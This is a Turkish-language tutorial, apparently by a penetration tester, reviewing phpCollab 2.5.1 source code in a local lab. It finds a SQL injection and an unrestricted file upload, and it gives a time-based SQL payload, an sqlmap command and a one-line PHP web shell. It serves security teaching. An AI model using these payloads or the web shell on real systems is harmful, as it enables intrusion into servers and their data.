1. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
İÇİNDEKİLER
İçindekiler
Yazar Hakkında...........................................................................................................................2
Web Uygulama Güvenliği Kod Analizi......................................................................................3
Çalışma Ortamı Ve Zafiyetli Web Uygulaması...........................................................................4
Uygulamaya Giriş.......................................................................................................................5
Muhtemel Girdi Noktalarının Arayüzde Saptanması..................................................................6
Muhtemel Girdi Noktalarının Kodlar Arasında Saptanması.......................................................7
Ilk Zafiyet SQLInjection.............................................................................................................9
Ikinci Zafiyet Unresticted File Upload......................................................................................11
Zafiyet Sömürüm Örnekleri......................................................................................................12
1
2. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
YAZAR HAKKINDA
Engin Demirbilek. Özel sektörde Sızma Testi alanında çalışmaktadır. Ilgi alanları web uygulama
güvenliği, internal sızma testleri ve basit seviye zararlı oluşturma.
E-Mail: engindemirbilek@protonmail.com
Twitter: @hyal0id
Blog: https://engindemirbilek.github.io
2
3. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
WEB UYGULAMA GÜVENLİĞİ KAYNAK KOD ANALİZİ:
Web uygulamalarında oluşan zafiyetler genel olarak 3 sebepten kaynaklanmaktadır:
• Kullanıcıdan alınan girdinin kontrol edilmemesi / eksik kontrolü
• Oturum Yönetimleri
• Ve nadiren gömülü parolalar.
Web uygulamaları, gerekli kontroller yapılmaksızın herkese açık halde paylaşılması durumunda
yukarda ki temel durumlardan doğabilecek çeşitli kritik zafiyetlerden muzdarip olabilir. Bu
kontroller kimi zaman herhangi bir kod gösterimi olmaksızın local bir ağda veyahut doğrudan
internet siteleri üzerinde yapılan işlemlerle kontrol edilsede kimi zaman ilgili kontrollerle açığa
çıkartılamayan zafiyetlerin, kaynak kod inceleme işlemleri esnasında çıktığını görmekteyiz.
Bu makalede, sayfa sayısını fazla uzatmamaya özen göstererek örnek bir web uygulama kaynak kod
analizi gerçekleştirerek uygulama üzerinde daha önce saptanmış olan 1 adet SQL injection ve 1 adet
unrestricted file upload zafiyetlerini tespit edeceğiz.
3
4. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
ÇALIŞMA ORTAMI VE ZAFİYETLİ WEB UYGULAMASI:
Bu makale süresi boyunca, PHP teknolojisi kullanılarak oluşturulmuş PhpCollab (version: 2.5.1)
uygulamasının kaynak kod inceleme işlemini gerçekleştireceğiz.
Statik inceleme işlemlerinde hız faktörünü ve web servislerinin kullanım kolaylığınıda
değerlendirerek inceleme yapacağım işletim sistemi ise Ubuntu 16.04 olacak.
Uygulamaya şuradan erişebilirsiniz:
https://www.exploit-db.com/apps/dda41c5b541d7adc0b50b1fcf3bf7519-phpCollab-v2.5.1.zip
4
5. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
UYGULAMAYA GİRİŞ
PHP Collab uygulamasını kurmamızın ardından bizi giriş sayfası karşılıyor:
5
6. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
MUHTEMEL GİRDİ NOKTALARININ ARAYÜZDE SAPTANMASI
Kodlarla boğuşmaya başlamadan önce, görsel arayüz üzerinden muhtemel olarak kullanıcıdan girdi
alan yerleri tespit etmemiz ilerleyen incelemelerde bize kolaylık sağlayacaktır. Uygulama üzerinde
biraz gezinmenin ardından, uygulama panel arayüzünde hemen hemen her dizinde bir dosya ekleme
& editleme özelliği ve bazı noktalarda ise içerik arama noktaları karşımıza çıkıyor:
home.php:
listclients.php:
Uygulama arayüzünü inceleyerek diğer girdi noktalarını saptayabilirsiniz.
6
7. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
MUHTEMEL GİRDİ NOKTALARININ KODLAR ARASINDA SAPTANMASI
Görsel arayüzden saptamalar yapabileceğimiz gibi, kodlar arasındada gezinerekte saptamalar
yapmamız mümkün. Uygulama büyüklüğüne göre bu iş uzun zaman alabileceğinden ötürü
işlemlerimizi hızlandırmak için Gnu/Linux sistemlerin bize sağladığı bash scripting tekniklerinin
nimetlerinden faydalanacağız.
Uygulama Üzerinde ki SQL Sorgularının Saptanması:
Uygulama üzerinde ki sql sorgularının saptanması, uygulama üzerinde potansiyel olarak
bulunabilecek SQLinjection zafiyetlerinin tespitinde ilk adımı oluşturmaktadır. Ufak bir bash
scripting yardımıyla uygulama üzerinde ki tüm SQL sorgularını ve bulundukları dosyaları
saptamamız mümkün:
Kullanılan Komut:
find . -type f | grep ".php" | xargs grep "FROM|INTO|UPDATE"
//Bulunduğun dizinde ki sonu “.php” ile biten tüm dosyaları bul ve bu dosyalar
arasından içinde “FROM, INTO VE UPDATE” kelimeleri geçiren dosyaları ve ilgili
satırları bana getir.
Eğer daha önce SQL ile uğraştıysanız neden SELECT, INSERT vesaire farklı anahtar kelimeleri
kullanmadığım konusu kafanıza takılmış olabilir. Bunun sebebi, olabilecek neredeyse her sorguda
SELECT gibi genel anahtar kelimeler geçmesede FROM, INTO VE UPDATE anahtar kelimelerinin
geçmek zorunda olacak olmasıdır.
7
8. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
Saptadığımız SQL sorgularında bizim asıl ilgimizi çeken kısım kullanıcının kontrolünde olan bir
değişkenin herhangi bir sorgu içinde olup olmadığı olacaktır. Tabi ki bu bulumun yapılması için işin
biraz daha kolayına kaçılarak _GET, _POST, _REQUEST gibi anahtar kelimelerin aranması
işimizi hızlandıracak olsada bu girdilerle herhangi bir değişkene atılan verilerin oluşturduğu
zafiyetlerin saptanmasında, ilgili yöntem yeterli olmayacaktır.
Örnek: $email = $_REQUEST[“email”];
Bu sebeple sağlıklı bir inceleme sağlamak adına ilgili sorgular ve sorgu içinde ki değişkenler bir
bütün olarak incelenmelidir.
İşimizin biraz daha kolaylaşması adına, içinde SQL sorgusu bulunan tüm dosyaları bir liste halinde
sıralayabiliriz.
find . -type f | grep ".php" | xargs grep "FROM|INTO|UPDATE" | cut -d ":" -f1 |
sort | uniq > sql_kontrol.txt
//Bulunduğun dizinde ki sonu “.php” ile biten tüm dosyaları bul ve bu dosyalar
arasından içinde “FROM, INTO VE UPDATE” kelimeleri geçiren dosyaları ve ilgili
satırları bana getir dönen sonuçta yanlızca “:” karakterinden önce ki değerleri ayıkla,
sırala, 1 dosya ismini 1 kere göster ve bunları sql_kontrol.txt dosyasının içine yaz.
Bu adımın ardından sıra her dosya içinde ki sorgu ve sorgularda ki değişkenleri incelemeye geliyor.
Doğrudan saptanan örnek bir zafiyete geçelim.
8
9. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
ILK ZAFIYET SQL INJECTION
Dosya: topics/deletetopics.php
Uygulama üzerinde ki örnek bir sql injection zafiyeti yukarıdaki gibidir. Kullanıcıdan GET isteği ile
(deletetopics.php?project=) alınan bir girdi herhangi bir kontrolden geçirilmeden SQL sorgusuna
atılmış (satır: 32). Bu durumda eğer kullanıcı ‘ karakterlerinden kaçınıp sorgu yapısını editleyerek
database üzerine doğrudan erişim sağlayabilir.
Bu işlem için örnek bir payload olarak: deletetopics.php?project=hyaloid’-SLEEP(5)-- -
verilebilir. Bu girdinin site üzerinden verilmesi durumunda MYSQL üzerinde SLEEP fonksiyonu
çalışacak ve 5 saniye boyunca herhangi bir sonuç dönmeyecektir. Veyahut herhangi bir tool
yardımıyla (orn: sqlmap) kolayca tüm database ele geçirilebilir.
Bu zafiyet tespitinin ardından sormamız gereken 1 soru daha var. Bu isteği atabilecek kişinin giriş
yapması veyahut bir yetki dahilinde olması gerekli mi değil mi ? Bu kontrol içinse basitçe
uygulama üzerinde ki dosyaların ilk satırlarını kontrol edebiliriz. Oturum doğrulamayı sağlayan
herhangi bir dosya veya değişkenin belirtilmesi durumunda (oturum kontrollerinin doğru yapıldığını
varsayıyoruz) ilgili zafiyeti site üzerinde oturum oluşturmayan bir kullanıcının tetiklemesi olanaksız
olacaktır. Ufak bir göz gezdirmenin ardından site üzerinde oturum kontrollerinin $checkSession
isimli bir değişken dahilinde kontrol edildiğini görmek mümkün. Zafiyetli kodu içeren dosyanın ilk
satırlarına baktığımızda ise bu dosyaya erişim içinde bir oturum kontrolü olduğunu görüyoruz:
Yani bu durumda ilgili zafiyeti tetiklemek için site üzerinde oturum oluşturabilen bir kullanıcıya
ihtiyacımız var. Her ne kadar bu kontrol zafiyetin muhtemelen saldırı potansiyelini azaltıyor olsada
hala bu zafiyeti kritik bir zafiyet olmaktan aşağı bırakmıyor. Elbette daha uzun uzadıya
incelemelerde ilgili oturum kontrollerinin yapılmadığı noktalarda zafiyetler çıkartılabilir ve/veya
doğrudan oturum kontrolünün yapıldığı kodlarda hatalar bulunabilecek olsada biz sayfa sayısını
uzun uzadıya tutmadan diğer zafiyetimizi araştırmaya koyulalım.
9
10. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
Uygulama Üzerinde ki Dosya Yükleme Noktalarının Saptanması:
Dosya yükleme fonksiyonları uygulamanın yazıldığı dile göre farklılık göstersede temelde birbiriyle
tamamen aynı zafiyetlerden muzdarip olurlar: Yüklenen dosyanın eksik kontrolü. PHP kodlama
dilinde dosya yükleme işlemlerinde kullanılan temel fonksiyon move_uploaded_file() ve temel
değişken ise $_FILES değişkenidir. Bu bilgilerden yola çıkarak yine ufak bir script yardımıyla
uygulama üzerinde dosya yükleme fonksiyonlarının bulunduğu yerleri saptayabiliriz.
Kullanılan Komut:
find . -type f | grep ".php" | xargs grep "move_uploaded_file|_FILES" | cut -d ":" -
f1 | sort | uniq
//Bulunduğun dizinde ki sonu “.php” ile biten tüm dosyaları bul ve bu dosyalar
arasından içinde “move_uploaded_file ve _FILES” kelimeleri geçiren dosyaları ve
ilgili satırları bana getir dönen sonuçta yanlızca “:” karakterinden önce ki değerleri
ayıkla ve 1 dosya ismini 1 kere göster.
SQL sorgularıyla kıyasladığımızda bu sefer dosya sayımız oldukça düşük.
10
11. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
IKINCI ZAFIYET UNRESTRICTED FILE UPLOAD
Dosyaları incelemeye koyulduğumuzda daha ilk tespit edilen nokta üzerinde yüklenen dosyaların
herhangi bir kısıtlamaya tabi tutulmadığı görüyoruz (satır 61, 62).
Bu durumda kullanıcı logo yerine herhangi bir php dosyası yükleyerek sistem üzerine doğrudan
erişim sağlayabilir. Buna ek olarak gözümüze çarpan diğer bir zafiyet ise dosya uzantısının herhangi
bir kontrolden geçirilmeden bir SQL sorgusuna koyulduğu. Biraz fantastik olsada eğer ki yüklenen
dosyanın uzantısına bir SQLinjection payloadı verecek olursak file upload zafiyetine ek olarak
buradan bir SQL injection zafiyetide tetikletmemiz mümnkün. Tespit edilen diğer dosyalar
incelenerek zafiyet sayısı artırılabilir fakat şuanlık bu bizim için yeterli.
Örn Zararlı PHP dosyası: <?php echo shell_exec($_GET[“cmd”]); ?>
Örn Sql Injection Payloadı: logo.a’-SLEEP(5)-- -
SQLinjection zafiyetinde olduğu gibi bu zafiyetinde tetiklenmesi için geçerli bir oturum eldesi
olması gerekiyor.
11
12. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
ZAFIYET SÖMÜRÜM ÖRNEKLERİ
SQL INJECTION:
Yazımızı bitirmeden önce tespit ettiğimiz zafiyetlerin örnek bir sömürünü göstermekte fayda var. Ilk
olarak tespit ettiğimiz SQL Injection zafiyetini SQLmap toolu aracılığı ile sömürelim:
Kullanılan Komut:
sudo sqlmap -u "127.0.0.1/collab/topics/deletetopics.php?project=asd" --
cookie="PHPSESSID=glrqu1hs2nbnpluph7fbkk97r0" --dbms=mysql --threads 10 --
dbs
12
13. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
UNRESTRICTED FILE UPLOAD:
Bu zafiyetin sömürümü ise herhangi bir tool kullanmaksızın yapabiliriz.
Ilk olarak site üzerinde bize interaktif bir bağlantı sağlayacak basit bir zararlı oluşturalım:
zararli.php
<?php
echo shell_exec($_GET[“cmd”]);
?>
Ilgili dosyayı daha önce tespit ettiğimiz noktadan yüklediğimizde;
Yüklediğimiz zararlı /logos_clients/ dizinine 1.php olarak yüklenecek.
13
14. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
Dizine tarayıcı üzerinden ulaşıp zararlımızı tetiklettiğimizde ise:
14